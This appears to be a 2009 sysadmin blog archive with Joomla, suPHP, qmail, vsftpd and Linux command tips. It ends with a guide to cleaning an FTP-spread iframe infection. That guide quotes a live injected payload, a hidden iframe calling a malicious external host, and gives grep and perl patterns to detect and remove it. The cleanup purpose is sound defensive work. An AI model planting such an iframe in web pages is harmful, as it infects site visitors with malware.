Joomla : .htaccess SEO friendly

July 30th, 2009

Site->Global Configuration-> Go to Search Engine Friendly URLs and select and Use Apache mod_rewrite. Select both to “YES”.

Then on your hosting server copy htaccess.txt to .htaccess. Now you should have urls like : http://site.com/contact

Joomla with suPHP: Premature end of script headers: index.php

July 30th, 2009

Got this error while I was trying to configure Joomla to work with suPHP. This is the config I`m using to make it work:


ServerAdmin aa@aa.com
ServerName www.site.org
ServerAlias site.org
DocumentRoot /home/virtuals/www.site.org/public_html/
ErrorLog /home/virtuals/www.site.org/logs/error.log
CustomLog /home/virtuals/www.site.org/logs/access.log combined
ServerSignature On
php_admin_flag safe_mode Off
php_admin_flag register_globals On
php_admin_value open_basedir /home/virtuals/www.site.org/public_html:/tmp



AllowOverride All
Allow from All
Options Indexes FollowSymLinks



php_admin_flag engine on
suPHP_Engine on
AddHandler php5-script .php
php_admin_flag engine on

Error : Database Error: Unable to connect to the database:The MySQL adapter “mysql” is not available.

July 30th, 2009

Got this error :

Database Error: Unable to connect to the database:The MySQL adapter “mysql” is not available.

There are some reasons why this occurs:

- php-mysql not installed
- php admin flags wrong set
- wrong suphp configuration, handlers should be:

[handlers]
;Handler for php-scripts
x-httpd-php=”php:/usr/bin/php”

;Handler for CGI-scripts
x-suphp-cgi=”execute:!self”

Error: not within configured docroot

July 30th, 2009

Got this error these days :

[Thu Jul 30 06:58:16 2009] [warn] Script “/home/virtuals/www.site.org/public_html/index.php” resolving to “/home/virtuals/www.site.org/public_html/index.php” not within configured docroot

add docroot into your suphp.conf file and restart apache

How to sort folders by size with one command line in Linux

July 30th, 2009

du –max-depth=1 $PWD | sort -n -r
du -H –max-depth=1 $PWD

“-H” – produce human readable format sizes (like: 1K 10M 1G)

A good and short one liner using xargs

du -s ./* | sort -n| cut -f 2-|xargs -i du -sh {}

This will sort the folders according to size and display them in human readable format… to reverse the list
use sort -nr option.

How to redirect my website to be opened through HTTPS?

July 25th, 2009

In order to redirect your website to be opened through HTTPS, you should add the following rewrite rule in your .htaccess file:

RewriteEngine On
RewriteCond %{HTTPS} !=on
RewriteRule .* https://www.domain.com/%{REQUEST_URI} [R,L]

This will redirect your domain to https://www.yourdomain.com. If you wish the redirect to work without www, you should remove it from the rewrite rule:

RewriteEngine On
RewriteCond %{HTTPS} !=on
RewriteRule .* https://domain.com/%{REQUEST_URI} [R,L]

Bash commands

July 11th, 2009

export LINES=57; export COLUMNS=157; resize

eval $(tset -s xterm; resize; alias ll=”ls -Al”)

ps -e -ww -o user,pid,ppid,pcpu,pmem,size:7=Swap,lstart,args=Command –sort=-rss

Qmail commands

July 11th, 2009

qmail-qread – list outgoing messages and recipients

[root@server ~]# /var/qmail/bin/qmail-qread | grep remote | awk -F\@ ‘{print $2}’ |sort | uniq | sort -n
aol.com
bigpond.net.au
comcast.net
gmail.com
hotmail.com
msn.com
nc.rr.com
yahoo.com
yahoo.co.uk

qmHandle – qmail Handler

[root@server ~]# qmHandle -s
Total messages: 225
Messages with local recipients: 0
Messages with remote recipients: 225
Messages with bounces: 0
Messages in preprocess: 0

qmHandle -l                       list all emails in queue
qmHandle -mN                 show email no N from queue
qmHandle -dN                  delete email no N from queue
qmHandle -R                     show remote emails from queue
qmHandle -D                     delete all messages from queue
qmHandle -a                 try to send messages from queue

[root@server ~]# /var/qmail/bin/qmail-qstat
messages in queue: 224
messages in queue but not yet preprocessed: 0

Howto configure vsftpd

July 11th, 2009

yum install vsftpd

[root@shifu ~]# cat /etc/vsftpd/vsftpd.conf | grep -v ^#
anonymous_enable=NO # disable anonymous account
local_enable=YES # enable local users
write_enable=YES # enable uploading files
local_umask=022 # mask
dirmessage_enable=YES
xferlog_enable=YES # log messages
connect_from_port_20=YES
xferlog_std_format=YES
idle_session_timeout=600
chroot_list_enable=YES # chroot users into their own dir
listen=YES

pam_service_name=vsftpd
userlist_enable=YES
tcp_wrappers=YES

/etc/vsftpd/chroot_list contains a list of all users that will be in chroot

How to remove malware, iframe virus from your site

July 10th, 2009

I guess many of you already have this issue regarding the iframe malware.

In my researches I found out that this isn’t the hosting Linux/Windows server fault. This issue is provoked by a Windows Virus that sniffs the internet connection for user names and passwords of ftp accounts. Then it silently download every (or only index/default) files from the remote ftp to the infected Windows PC and then adds the iframe or javascript code and in the end it uploads back the files. So..first of all when removing this virus from the remote servers check your computers. The virus is known as : Trojan.Script.Iframe.

After scanning your system carefully, consider to stop using FTP. Download WinSCP and stop storing your passwords locally. Then change your passwords.

To get the list of infected files I use either grep or find under any Shell prompt (you will need ssh access to the server):

grep -Z -R "income" *
101/index.html<body bgcolor="#FFFFFF"><iframe src="http://perfectnamestore.cn/in.cgi?income8" width=1 height=1 style="visibility: hidden"></iframe>

or with find:

find $PWD \( -name “*.php” -o -name “*.html” -o -iname “*.htm” \) -exec grep -l “income” {} \;

Also you can check the timestamp of the files and if you see changes of index.html or any other file and you did not do that on purpose then it means you are infected. I`m using the -mtime paramter of find to check for infected files:

find . -mtime -2

Will search all files that were modified in the last 48 hours

Malware Removal
You can remove the malware by just deleting the code (sample above) on the affected files. If you need to cleanup hundred of infected files you can do the following:

perl -pi -e 's/(\<body.*?\>)<iframe src=\".*/$1/' index.html
perl -pi -e ’s/\eval\(String\.fromCharCode\(.+\//g’

Conclusion:

How the hack is done?
1. Client side PC gets infected with the virus from the search results.
2. Virus gets FTP username/password from the FTP clients.
3. Using the username/password, the virus then downloads the index files, adds the iframe code in it and re-uploads it to the web server.
4. The iframe code points to the same virus. So, anyone accessing this website gets infected with the same virus, and it spreads again!!!!

# Solutions

1. Ensure that your code is free from such kind of vulnerabilities.
2. Change all the FTP passwords regularly and keep them safe and use a combination of alphabets + numbers + special characters.
3. Before updating the new password in their FTP clients, perform a full system Virus scan with a reliable virus scanner updated with the latest virus definition files.
4. Also try not to save (remember) the FTP username/password on FTP clients or public computers.
5. Check the website files for any unrecognizable or encrypted codes that are not known to you or is not a part of the website’s function. If found then please follow the above mentioned steps and update the web pages with the proper codes.

Update : In august 2009 I`ve found that even .htaccess files can contain some redirection to malware sites. The bad part is that if you are using FTP not every time you see the .htaccess file because its hidden.

Also..to check if your site contains the iframe virus you can use the Tamper Data plugin with Firefox and while you are browsing your site you can notice “strange” links redirections in Tamper data.